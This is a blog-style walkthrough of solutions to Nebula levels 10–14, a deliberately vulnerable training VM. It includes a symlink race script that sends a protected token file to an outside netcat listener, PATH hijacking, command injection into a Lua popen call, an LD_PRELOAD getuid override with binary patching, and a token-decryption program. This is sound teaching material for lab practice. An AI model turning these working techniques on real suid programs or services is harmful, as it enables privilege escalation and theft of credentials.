Nebula Shell Exploits (Solutions 10-14)
Shell-based exploit exercises
Published on 28 June 2012Overview
This is the second post for my solutions of Exploit Exercises
Level 10
Description (full): Read a token file with the password to the target account. A suid program uses access()
to upload a file to a host.
According to man access(), there’s a race condition with this usage of the function:
man access
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so
using open(2) creates a security hole, because the user might exploit the short time interval between
checking and opening the file to manipulate it. For this reason, the use of this system call should be
avoided. (In the example just described, a safer alternative would be to temporarily switch the process's
effective user ID to the real ID and then call open(2).)
#!/bin/bash -x
# upload_file.sh
rm ~/foo
for i in `seq 10000`; do echo "placeholder" >> ~/foo; done
/home/flag10/flag10 ~/foo 192.168.1.6
sleep 0.0001
rm ~/foo; ln -s /home/flag10/token ~/foo
Now, we can run this script repeatedly:
while true; do ./upload_file.sh; done
On our local machine (Linux or Mac), we also listen at intervals with netcat
:
localmachine$ while true; do sleep 1; nc -l 18211 | grep -v "placeholder"; done
.oO Oo.
.oO Oo.
plac
.oO Oo.
.oO Oo.
.oO Oo.
plac
.oO Oo.
plac
.oO Oo.
plac
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
.oO Oo.
On the virtual machine:
$ su flag10
Password:
sh-4.2$ getflag
Level 11
Description (full): Execute getflag
with the given source code.
$ cd ~
$ echo "Content-Length: 1\n\c" > ./foo
$ echo "getflag; whoami" > ./b
$ export PATH=~:$PATH
$ /home/flag11/flag11 < ~/foo
sh: $'b\200\263': command not found
$ /home/flag11/flag11 < ~/foo
sh: $'b\300\241': command not found
$ /home/flag11/flag11 < ~/foo
You have successfully executed getflag on a target account
flag11
This solution should be examined with the source code (gist).
This level was great. These are the realizations that lead to a solution:
- The solution path must end with the
system()
call inprocess()
. - There are two ways to reach
process()
via the if-else branch inmain()
. - The
else
branch is extremely random. It usesmmap(NULL…)
(maps to a random memory address),getrand()
(returns a random file descriptor), and XOR encryption. - The
if
branch isif (fread(buf, length, 1, stdin) != length)
. The third argument tofread
is the number of members to read. The return value is the number of members read. - Things just got a lot simpler, since
length
must be 1. process()
uses basic XOR encryption with the caveat that the key changes for each letter in the buffer. The buffer only has one letter, andkey = 1 & 0xff
, which flips the last bit.- Looking at the ASCII table, if we want the final buffer to contain
b
(01100010
), the key needs to be applied to01100011
(c
). - Add an executable named
b
to the path, and let the program execute it until the buffer, by chance, ends with the string-terminating null byte.
While walking to work, I laughed (in advance) thinking that the problem would have a deceivingly simple solution – and it did.
Level 12
Description (full): Access the flag account through a Lua script that seems to send the token with a certan SHA1 checksum.
$ nc 127.0.0.1 50001
Password: $(getflag), which is $(whoami) > ~/getflag.log
Better luck next time
$ cat /home/flag12/getflag.log
You have successfully executed getflag on a target account, which is flag12
According to the Internet, SHA1 checksums are, for all practical purposes, irreversible. This means that the solution path probably doesn’t require us to find the unhashed input.
This turns out to be the case. We execute arbitrary code via this line, where our input is the variable ..password..
:
prog = io.popen("echo "..password.." | sha1sum", "r")
Level 13
Description (full): A program returns the token if the real uid is equal to FAKEUID
, defined by a preprocessor macro.
Given the source code, there seem to be two points of vulnerability for the program.
- The call to
getuid()
: can we substitute our own version of the function? - The preprocessor macro for
FAKEUID
: can we redefineFAKEUID
?
Overriding getuid()
We link a shared library with our own function definition of getuid()
, adding it through the LD_PRELOAD
environmental variable. Because suid
programs ignore LD_PRELOAD
, we copy the binary to our own directory and modify the permissions.
// custom_uid.c
#include systypes.h
uid_t getuid()
{
return 1000;
}
$ # Create a shared library
$ cd ~
$ gcc -fPIC -g -c custom_uid.c
$ gcc -shared -W1,-soname,uid.so -o uid.so custom_uid.o -lc
$ ls *.so
uid.so
$ # Preload the shared library
$ export LD_PRELOAD=./uid.so
$ cp /home/flag13/flag13 ~
$ ldd flag13 | grep uid.so
./uid.so (0x001c3000)
$ chmod a+x ~/flag13
$ ~/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su flag13
sh-4.2$ getflag
You have successfully executed getflag on a target account
I wasn’t familiar with these shared library vulnerabilities before these levels. To cite my sources, here are posts that I found during my search for “overriding functions”:
- Overriding functions in C, Stack Overflow.
- Course notes for suid exploits, Syracuse University
Redefining fakeuid
Unfortunately, it turns out that we can’t quite “redefine” the preprocessor macro, since the binary is compiled without any debug flags from gcc
.
FAKEUID
is defined by 1000 (hex: 0x03e8
). We can take a look at the assembly using objdump
.
$ echo $UID
1014
$ printf '%x\n' 1014 # Our uid in hex
3f6
$ printf '%x\n' 1000 # FAKEUID in hex
3e8
$ objdump -d flag13 | grep 3e8
80484f4: 3d e8 03 00 00 cmp __$0x3e8__,%eax
…
$ cp /home/flag13/flag13 ~
$ vim ~/flag13
$ # … Make the substitution described below #
Our magic number is represented by 3d e8
because of the little-endian architecture. Our goal is to change 0x3e8
to 0x3f6
, which is 1014 in binary.
vim can be used to edit binary files. (I’m an emacs user, but vim comes with the VM). We change 3de8
to 3df6
in the binary.
$ ~/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
Level 14
Description (full): flag14 -e
encrypts stdin. A token file needs to be decrypted.
#!/bin/bash
# try.sh
# A helper function for pattern finding
try()
{
echo "$@" | /home/flag14/flag14 -e; echo""
}
$ source ~/try.sh
$ try 1; try @; try a
1
@
a
$ try 0231 # 0 - 0 = 0 | 3 - 2 = 1 | 5 - 3 = 2 | 4 - 1 = 3
0354
If we play around more, there seems to be a simple pattern: the encryption scheme increments each character by its index.
// decrypt.c
#include <stdio.h>
#include <string.h>
int main (int argc, char*argv[])
{
for (int i = 0; i < strlen(argv[1]); i++)
printf("%c", argv[1][i] - i);
printf("\n");
}
$ gcc -std=c99 -o decrypt decrypt.c
$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
$ ./decrypt $(cat /home/flag14/token)
8457c118-887c-4e40-a5a6-33a25353165
$ su flag14
Password:
sh4.2$ getflag
You have successfully executed getflag on a target account